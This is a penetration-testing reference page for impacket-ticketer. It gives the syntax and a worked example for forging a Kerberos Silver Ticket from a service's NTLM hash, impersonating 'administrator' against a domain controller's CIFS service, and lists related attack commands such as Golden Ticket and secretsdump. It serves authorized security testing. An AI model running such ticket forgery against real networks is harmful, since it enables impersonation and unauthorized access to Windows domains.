Impacket Silver Ticket

Forge a Silver Ticket (TGS) for a specific service using its NTLM hash

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: impacket-ticketer
Category: Credential Attacks / Ticket Forgery & Conversion
Platform: linux
Requires: NTLM hash
Protocols: KERBEROS

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

impacket-ticketer -nthash '<hash>' -domain-sid '<domain_sid>' -domain '<domain>' -spn '<service>/<target_host>' '<user>'

Examples

impacket-ticketer -nthash 'e19ccf75ee54e06b06a5907af13cef42' -domain-sid 'S-1-5-21-1234567890-1234567890-1234567890' -domain 'corp.local' -spn 'cifs/dc01.corp.local' 'administrator'

Tags

impacket silver-ticket tgs service-ticket forgery

Impacket PSExec Execute commands via PSExec service
Impacket Secrets Dump Dump hashes from remote Windows system (SAM, LSA, NTDS)
Impacket describeTicket Parse and display the contents of a Kerberos ticket (.ccache or .kirbi)
Impacket Diamond Ticket Forge a Diamond Ticket: request a legitimate TGT from the KDC and then patch its PAC…
Impacket getPac Retrieve the PAC (Privilege Attribute Certificate) for a target user via the S4U2self…
Impacket Golden Ticket Forge a Golden Ticket (TGT) using the krbtgt NTLM hash
Impacket Ticket Converter Convert Kerberos tickets between kirbi (Windows) and ccache (Linux) formats
Impacket ticketer.py Golden Ticket Forge a Golden Ticket (TGT signed with the krbtgt key) granting any user, any privilege,…